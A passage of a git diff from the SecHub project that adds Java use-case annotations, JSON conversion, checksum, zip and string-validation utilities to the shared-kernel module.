Step value(); +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/job/UseCaseAdministratorListsAllRunningJobs.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/job/UseCaseAdministratorListsAllRunningJobs.java new file mode 100644 index 0000000000..756b0cc622 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/job/UseCaseAdministratorListsAllRunningJobs.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.job; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_ADMIN_LISTS_ALL_RUNNING_JOBS, + group=UseCaseGroup.JOB_ADMINISTRATION, + title="Admin lists all running jobs", + description="job/admin_lists_all_running_jobs.adoc") +public @interface UseCaseAdministratorListsAllRunningJobs { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/job/UseCaseSchedulerStartsJob.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/job/UseCaseSchedulerStartsJob.java new file mode 100644 index 0000000000..c2c7f48627 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/job/UseCaseSchedulerStartsJob.java @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.job; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_SCHEDULER_STARTS_JOB, + group=UseCaseGroup.TECHNICAL, + title="Sechub scheduler starts job", + description="job/scheduler_starts_job.adoc") +public @interface UseCaseSchedulerStartsJob { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserClicksLinkToGetNewAPIToken.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserClicksLinkToGetNewAPIToken.java new file mode 100644 index 0000000000..f24c4a95d0 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserClicksLinkToGetNewAPIToken.java @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user; + +import static com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier.*; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UC_USER_CLICKS_LINK_TO_GET_NEW_API_TOKEN, + group=UseCaseGroup.USER_PROFILE, + title="User clicks link to get new api token", + description="user/clicks_link_to_get_new_api_token.adoc") +public @interface UseCaseUserClicksLinkToGetNewAPIToken { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserRequestsNewApiToken.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserRequestsNewApiToken.java new file mode 100644 index 0000000000..3207399d01 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserRequestsNewApiToken.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user; + +import static com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier.*; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UC_USER_REQUESTS_NEW_APITOKEN, + group=UseCaseGroup.SIGN_UP, + title="User requests new API token", + description="user/request_new_api_token_description.adoc") +public @interface UseCaseUserRequestsNewApiToken { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserSignup.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserSignup.java new file mode 100644 index 0000000000..ec6424e3ee --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/UseCaseUserSignup.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user; + +import static com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier.*; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UC_SIGNUP, + group=UseCaseGroup.SIGN_UP, + title="User self registration", + description="user/selfregistration_description.adoc") +public @interface UseCaseUserSignup { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserApprovesJob.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserApprovesJob.java new file mode 100644 index 0000000000..3f2c150637 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserApprovesJob.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user.execute; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_USER_APPROVES_JOB, + group=UseCaseGroup.SECHUB_EXECUTION, + title="User approves sechub job", + description="user/approve_sechub_job_description.adoc") +public @interface UseCaseUserApprovesJob { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserChecksJobStatus.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserChecksJobStatus.java new file mode 100644 index 0000000000..1a59a89cc1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserChecksJobStatus.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user.execute; + +import static com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier.*; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UC_USER_GET_JOB_STATUS, + group=UseCaseGroup.SECHUB_EXECUTION, + title="User checks sechub job state", + description="user/check_sechub_job_state_description.adoc") +public @interface UseCaseUserChecksJobStatus { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserCreatesNewJob.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserCreatesNewJob.java new file mode 100644 index 0000000000..7317f7ac1e --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserCreatesNewJob.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user.execute; + +import static com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier.*; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UC_USER_CREATES_JOB, + group=UseCaseGroup.SECHUB_EXECUTION, + title="User creates a new sechub job", + description="user/create_sechub_job_description.adoc") +public @interface UseCaseUserCreatesNewJob { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserDownloadsJobReport.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserDownloadsJobReport.java new file mode 100644 index 0000000000..99ac135c65 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserDownloadsJobReport.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user.execute; + +import static com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier.*; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +/* @formatter:off */ +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UC_USER_GET_JOB_REPORT, + group=UseCaseGroup.SECHUB_EXECUTION, + title="User downloads sechub job report", + description="user/download_sechub_job_report_description.adoc") +public @interface UseCaseUserDownloadsJobReport { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserStartsSynchronousScanByClient.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserStartsSynchronousScanByClient.java new file mode 100644 index 0000000000..ad1be13ac4 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserStartsSynchronousScanByClient.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user.execute; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_USER_USES_CLIENT_TO_SCAN, + group=UseCaseGroup.SECHUB_EXECUTION, + title="User starts scan by client", + description="user/start_scan_by_client_description.adoc") +public @interface UseCaseUserStartsSynchronousScanByClient { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserUploadsSourceCode.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserUploadsSourceCode.java new file mode 100644 index 0000000000..dc141addf7 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/usecases/user/execute/UseCaseUserUploadsSourceCode.java @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.usecases.user.execute; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.daimler.sechub.sharedkernel.Step; +import com.daimler.sechub.sharedkernel.usecases.UseCaseDefinition; +import com.daimler.sechub.sharedkernel.usecases.UseCaseGroup; +import com.daimler.sechub.sharedkernel.usecases.UseCaseIdentifier; + +/* @formatter:off */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@UseCaseDefinition( + id=UseCaseIdentifier.UC_USER_UPLOADS_SOURCECODE, + group=UseCaseGroup.SECHUB_EXECUTION, + title="User uploads source code", + description="user/upload_sourcecode_description.adoc") +public @interface UseCaseUserUploadsSourceCode { + + Step value(); +} +/* @formatter:on */ diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/Assert.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/Assert.java new file mode 100644 index 0000000000..b2409961de --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/Assert.java @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import java.util.Collection; + +/** + * Some simple assert methods + * + * @author Albert Tregnaghi + * + */ +public class Assert { + + private Assert() { + + } + + /** + * Throws an illegal argument exception when given object is null + * + * @param obj + * @param message + */ + public static void notNull(Object obj, String message) { + if (obj == null) { + throw new IllegalArgumentException(message); + } + } + + /** + * Throws an illegal argument exception when given string is null or empty + * + * @param string + * @param message + */ + public static void notEmpty(String string, String message) { + if (string == null || string.isEmpty()) { + throw new IllegalArgumentException(message); + } + } + + /** + * Throws an illegal argument exception when given collection is null or empty + * + * @param string + * @param message + */ + public static void notEmpty(Collection collection, String message) { + if (collection == null || collection.isEmpty()) { + throw new IllegalArgumentException(message); + } + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java new file mode 100644 index 0000000000..dc29d17faf --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.io.FileInputStream; +import java.io.IOException; +import java.security.DigestInputStream; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; + +import org.springframework.stereotype.Service; + +@Service +public class FileChecksumSHA256Service { + + public boolean hasCorrectChecksum(String checkSum, String filepath) { + if (checkSum==null) { + return false;// null is never correct... + } + if (filepath==null) { + return false; + } + String calculated = createChecksum(filepath); + return calculated.equals(checkSum); + } + + /** + * Creates a SHA256 checksum for given file. + * @param filepath + * @return checksum or null when file is not existing + * @throws IOException + */ + public String createChecksum(String filepath){ + notNull(filepath, "filepath may not be null"); + MessageDigest md; + String algorithm = "SHA-256"; + try { + md = MessageDigest.getInstance(algorithm); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("Algorithm not supported:"+algorithm); + } + // file hashing with DigestInputStream + try (DigestInputStream dis = new DigestInputStream(new FileInputStream(filepath), md)) { + while (dis.read() != -1) ; //empty loop to clear the data + md = dis.getMessageDigest(); + }catch(IOException e) { + return null; + } + + // bytes to hex + StringBuilder result = new StringBuilder(); + for (byte b : md.digest()) { + result.append(String.format("%02x", b)); + } + return result.toString(); + + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverter.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverter.java new file mode 100644 index 0000000000..c30219a1a0 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverter.java @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import java.io.IOException; + +import com.fasterxml.jackson.annotation.JsonInclude.Include; +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.JsonParser; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import com.fasterxml.jackson.datatype.jdk8.Jdk8Module; + +public class JSONConverter { + + private static final JSONConverter INSTANCE = new JSONConverter(); + + /** + * @return shared instance + */ + public static JSONConverter get() { + return INSTANCE; + } + + private ObjectMapper mapper; + + public JSONConverter() { + // https://github.com/FasterXML/jackson-core/wiki/JsonParser-Features + JsonFactory jsonFactory = new JsonFactory(); + jsonFactory.enable(JsonParser.Feature.ALLOW_COMMENTS); + jsonFactory.enable(JsonParser.Feature.ALLOW_SINGLE_QUOTES); + + mapper = new ObjectMapper(jsonFactory); + /* + * next line will write single element array as simple strings. There was an + * issue with this when serializing/deserializing SimpleMailMessage class from + * spring when only one "to" defined but was an array - jackson had problems see + * also: https://github.com/FasterXML/jackson-databind/issues/720 and + * https://stackoverflow.com/questions/39041496/how-to-enforce-accept-single- + * value-as-array-in-jacksons-deserialization-process + */ + mapper.enable(DeserializationFeature.ACCEPT_SINGLE_VALUE_AS_ARRAY); + + // but we do NOT use SerializationFeature.WRITE_SINGLE_ELEM_ARRAYS_UNWRAPPED ! + // reason: otherwise jackson does all single ones write as not being an array which comes up to problems agani + mapper.disable(SerializationFeature.WRITE_SINGLE_ELEM_ARRAYS_UNWRAPPED); + + // http://www.baeldung.com/jackson-ignore-null-fields + mapper.setSerializationInclusion(Include.NON_NULL); + // http://www.baeldung.com/jackson-optional + mapper.registerModule(new Jdk8Module()); + } + + public String toJSON(Object object) throws JSONConverterException { + if (object == null) { + return "null"; + } + try { + byte[] bytes = mapper.writeValueAsBytes(object); + return new String(bytes); + } catch (JsonProcessingException e) { + throw new JSONConverterException("Was not able to convert " + object.getClass().getName() + " to JSON", e); + } + } + + public T fromJSON(Class clazz, String jSON) throws JSONConverterException { + if (clazz == null) { + throw new IllegalStateException("clazz may not be null!"); + } + /* Fall back for null values to empty string - avoid NPE */ + String string = jSON; + if (jSON == null) { + string = ""; + } + try { + byte[] bytes = string.getBytes(); + return mapper.readValue(bytes, clazz); + } catch (IOException e) { + throw new JSONConverterException( + "Was not able to convert JSON string to " + clazz + " object\nContent was:\n" + jSON, e); + } + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverterException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverterException.java new file mode 100644 index 0000000000..53bad9583a --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONConverterException.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +public class JSONConverterException extends SecHubRuntimeException { + + private static final long serialVersionUID = -3515528452706038909L; + + public JSONConverterException(String message, Throwable t) { + super(message, t); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONable.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONable.java new file mode 100644 index 0000000000..c55ae0a9bc --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/JSONable.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import com.fasterxml.jackson.annotation.JsonIgnore; + +/** + * An interface for objects providing JSON marshaling. Contains also an default + * implementation. It represents also a marker interface for Objects being used + * as JSON in SecHub context, so it's easier to find them.
    + *
    + * Of course spring boot supports REST operations with automatic json + * marshalling. But using this interface the marshalling mechanism is also + * available outside. So if you have an object which needs only to be marshalled + * by spring boot rest magic you do not need to implement the interface. If you + * want to jsonify/dejsonify objects outside this "magic" you just need to + * implement the interface to get this out of the box
    + * + * @author Albert Tregnaghi + * + */ +public interface JSONable { + + @JsonIgnore + Class getJSONTargetClass(); + + /** + * Converts object to JSON + * + * @return + * @throws JSONConverterException + */ + default String toJSON() throws JSONConverterException { + return getConverter().toJSON(this); + } + + /** + * @return the json converter + */ + @JsonIgnore + default JSONConverter getConverter() { + return JSONConverter.get(); + } + + /** + * Creates a full new JSON object from given string.
    + * It's a good practice to provide a static default instance (e.g. "INSTANCE" ) of the + * implementing class as a public constant. So you can use this method as a factory... + * + * @param json + * @return + * @throws JSONConverterException + */ + default T fromJSON(String json) throws JSONConverterException { + return getConverter().fromJSON(getJSONTargetClass(), json); + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SecHubRuntimeException.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SecHubRuntimeException.java new file mode 100644 index 0000000000..eb6b3d99ba --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SecHubRuntimeException.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +public class SecHubRuntimeException extends RuntimeException{ + + private static final long serialVersionUID = -4434773184205326471L; + + public SecHubRuntimeException(String message, Throwable cause) { + super(message, cause); + + } + + public SecHubRuntimeException(String message) { + super(message); + + } + + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtils.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtils.java new file mode 100644 index 0000000000..4089724a89 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/SimpleStringUtils.java @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +public class SimpleStringUtils { + + private SimpleStringUtils() { + } + + public static boolean equals(String str1, String str2) { + if (str1==null && str2==null) { + return true; + } + if (str1==null || str2==null) { + return false; + } + return str1.equals(str2); + } + + public static boolean startsWith(String part, String full) { + if (part==null && full==null) { + return true; + } + if (part==null || full==null) { + return false; + } + return full.startsWith(part); + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/ZipSupport.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/ZipSupport.java new file mode 100644 index 0000000000..36d19961ad --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/util/ZipSupport.java @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.util; + +import java.io.IOException; +import java.nio.file.Path; +import java.util.zip.ZipFile; + +public class ZipSupport { + + /** + * A shared instance + */ + public static final ZipSupport INSTANCE = new ZipSupport(); + + public boolean isZipFile(Path pathToFile) { + try (ZipFile zipFile = new ZipFile(pathToFile.toFile())){ + return true; + } catch (IOException e) { + return false; + } + } + +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/AbstractSimpleStringValidation.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/AbstractSimpleStringValidation.java new file mode 100644 index 0000000000..9208ec08e1 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/AbstractSimpleStringValidation.java @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public abstract class AbstractSimpleStringValidation extends AbstractValidation { + + protected void validateNoUpperCaseCharacters(ValidationContext context) { + String string = context.objectToValidate; + if (string == null) { + return; + } + if (string.isEmpty()) { + return; + } + for (char c : string.toCharArray()) { + if (Character.isUpperCase(c)) { + context.addError("Uppercase character not allowed, but found '" + c + "'."); + return; + } + } + } + final + protected void validateWithoutWhitespaces(ValidationContext context) { + String string = context.objectToValidate; + if (string == null) { + return; + } + if (string.isEmpty()) { + return; + } + for (char c : string.toCharArray()) { + if (Character.isWhitespace(c)) { + context.addError("Whitespace detected inside string"); + return; + } + } + } + + protected void validateOnlyAlphabeticDigitOrAllowedParts(ValidationContext context, char ... alsoAllowed) { + String string = context.objectToValidate; + if (string == null) { + return; + } + if (string.isEmpty()) { + return; + } + for (char c : string.toCharArray()) { + if (Character.isDigit(c)) { + continue; + } + if (Character.isAlphabetic(c)) { + continue; + } + boolean ok = false; + for (char allowed : alsoAllowed) { + if (c == allowed) { + ok=true; + continue; + } + } + if (ok) { + continue; + } + context.addError("Character must be one of alloweds, but found '" + c + "'."); + return; + } + } + + protected void validateNotContainingCharackters(ValidationContext context, char... chars) { + String string = context.objectToValidate; + if (string == null) { + return; + } + if (string.isEmpty()) { + return; + } + for (char c : string.toCharArray()) { + for (char denied : chars) { + if (c == denied) { + context.addError("Character now not allowed here, but found '" + c + "'."); + return; + } + } + } + } + + protected void validateSameLengthWhenTrimmed(ValidationContext context) { + String string = context.objectToValidate; + if (string == null) { + return; + } + String trimmedName = string.trim(); + boolean sameLength = trimmedName.length() == string.length(); + if (sameLength) { + return; + } + context.addError("Please remove whitespaces at beginning and at the end"); + } + + protected void validateLength(ValidationContext context) { + validateMinLength(context); + validateMaxLength(context); + } + + protected void validateMaxLength(ValidationContext context) { + String string = context.objectToValidate; + if (getMaxLength() <= 0) { + return; + } + if (string == null) { + context.addError("String is null, so max length " + getMaxLength() + " not valid"); + return; + } + boolean validMaxLength = string.length() <= getMaxLength(); + if (!validMaxLength) { + context.addError("Maximum size is " + getMaxLength() + " but was " + string.length()); + } + } + + protected void validateMinLength(ValidationContext context) { + if (getMinLength() <= 0) { + return; + } + String string = context.objectToValidate; + if (string == null) { + context.addError("String is null, so min length " + getMinLength() + " not valid"); + return; + } + boolean validMinLength = string.length() >= getMinLength(); + if (!validMinLength) { + context.addError("Minimum size is " + getMinLength() + " but was " + string.length()); + } + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/AbstractValidation.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/AbstractValidation.java new file mode 100644 index 0000000000..2aff494fd0 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/AbstractValidation.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public abstract class AbstractValidation implements Validation { + + protected class ValidationConfig{ + public int /* NOSONAR */minLength; + public int /* NOSONAR */maxLength; + } + + private ValidationConfig config; + + protected AbstractValidation() { + this.config=new ValidationConfig(); + setup(config); + } + + protected abstract void setup(ValidationConfig config); + + public final ValidationResult validate(T target) { + ValidationContext context = new ValidationContext<>(target); + validate(context); + return context.result; + } + + protected void validateNotNull(ValidationContext context) { + if (context.objectToValidate!=null) { + return; + } + context.addError("May not be null"); + } + + protected abstract void validate(ValidationContext context); + + protected final int getMinLength() { + return config.minLength; + } + + protected final int getMaxLength() { + return config.maxLength; + } +} diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidation.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidation.java new file mode 100644 index 0000000000..a3cdb06ee6 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidation.java @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +public interface ApiVersionValidation extends Validation{ + +} \ No newline at end of file diff --git a/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidationImpl.java b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidationImpl.java new file mode 100644 index 0000000000..aecf0e9bc9 --- /dev/null +++ b/sechub-shared-kernel/src/main/java/com/daimler/sechub/sharedkernel/validation/ApiVersionValidationImpl.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.sharedkernel.validation; + +import java.util.ArrayList; +import java.util.List; + +import 